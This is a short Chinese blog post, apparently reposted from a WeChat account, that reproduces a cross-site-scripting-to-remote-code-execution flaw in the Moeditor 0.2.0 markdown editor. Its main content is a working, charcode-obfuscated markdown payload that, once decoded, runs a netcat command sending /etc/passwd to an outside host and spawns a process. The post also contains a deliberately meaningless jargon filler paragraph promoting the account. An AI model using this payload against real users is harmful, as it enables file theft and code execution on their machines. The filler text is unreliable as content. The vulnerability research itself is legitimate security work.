0x00 简介
Moeditor是一款挺不错的开源的markdown编辑器。
0x01:复现
0、描述
该软件允许您在自己的编辑器中存储有效负载，以及上传（.md）文件。一旦输入恶意代码，有效负载将立即执行。
攻击者可以发送一个带有有效负载的恶意文件，当该文件被打开时，链将被成功执行，从而允许访问远程攻击者在计算机上获得远程代码执行。
环境下载地址：https://moeditor.js.org/
1、环境
2、复现过程
payload:
[<audio src=x onerror=writeln(String.fromCharCode(60,97,117,100,105,111,32,115,114,99,61,120,32,111,110,101,114,114,111,114,61,34,99,111,110,115,116,32,101,120,101,99,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,59,101,120,101,99,40,39,110,99,32,45,119,32,51,32,49,57,50,46,49,54,56,46,51,49,46,50,54,32,49,51,51,55,32,60,32,47,101,116,99,47,112,97,115,115,119,100,39,44,32,40,101,44,32,115,116,100,111,117,116,44,32,115,116,100,101,114,114,41,61,62,32,123,32,105,102,32,40,101,32,105,110,115,116,97,110,99,101,111,102,32,69,114,114,111,114,41,32,123,99,111,110,115,111,108,101,46,101,114,114,111,114,40,101,41,59,32,116,104,114,111,119,32,101,59,32,125,32,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,111,117,116,32,39,44,32,115,116,100,111,117,116,41,59,99,111,110,115,111,108,101,46,108,111,103,40,39,115,116,100,101,114,114,32,39,44,32,115,116,100,101,114,114,41,59,125,41,59,97,108,101,114,116,40,39,74,97,107,121,39,41,34,62,60,115,99,114,105,112,116,62,118,97,114,32,80,114,111,99,101,115,115,32,61,32,112,114,111,99,101,115,115,46,98,105,110,100,105,110,103,40,39,112,114,111,99,101,115,115,95,119,114,97,112,39,41,46,80,114,111,99,101,115,115,59,118,97,114,32,112,114,111,99,32,61,32,110,101,119,32,80,114,111,99,101,115,115,40,41,59,112,114,111,99,46,111,110,101,120,105,116,32,61,32,102,117,110,99,116,105,111,110,40,97,44,98,41,32,123,125,59,118,97,114,32,101,110,118,32,61,32,112,114,111,99,101,115,115,46,101,110,118,59,118,97,114,32,101,110,118,95,32,61,32,91,93,59,102,111,114,32,40,118,97,114,32,107,101,121,32,105,110,32,101,110,118,41,32,101,110,118,95,46,112,117,115,104,40,107,101,121,43,39,61,39,43,101,110,118,91,107,101,121,93,41,59,112,114,111,99,46,115,112,97,119,110,40,123,102,105,108,101,58,39,47,117,115,114,47,98,105,110,47,103,110,111,109,101,45,99,97,108,99,117,108,97,116,111,114,39,44,99,119,100,58,110,117,108,108,44,119,105,110,100,111,119,115,86,101,114,98,97,116,105,109,65,114,103,117,109,101,110,116,115,58,102,97,108,115,101,44,100,101,116,97,99,104,101,100,58,102,97,108,115,101,44,101,110,118,80,97,105,114,115,58,101,110,118,95,44,115,116,100,105,111,58,91,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,44,123,116,121,112,101,58,39,105,103,110,111,114,101,39,125,93,125,41,59,60,47,115,99,114,105,112,116,62))>](http://)payload转换辅助网站：http://www.ab126.com/goju/1711.html
0x02:预防：
1、升级到最新版本
2、谨慎打开Moeditor
3、关注“洛米唯熊”公众号
凑数：
为什么洛米唯熊不是最好的公众号。而这些问题并不是痛点，而我们需要聚焦的关键是，总的来说，一般来说，我认为，总的来说，互联网大厂管理人员间有着这样的共识，找到正确的赛道，选择正确的商业模式，才能将项目落地。这不禁令我深思。洛米唯熊是最好的公众号，到底到底该如何落地？打造业务和数据的闭环对洛米唯熊是最好的公众号的解决意义重大。互联网运营人员间有着这样的共识，做精细化运营，向目标发力，才能获得影响力。这让我明白了问题的抓手，了解清楚洛米唯熊是最好的公众号到底存在于哪条赛道，是解决一切问题的痛点。
扫码二维码
获取更多精彩
洛米唯熊
点个在看 你最好看
本文始发于微信公众号（洛米唯熊）：Moeditor 0.2.0 - XSS to RCE漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论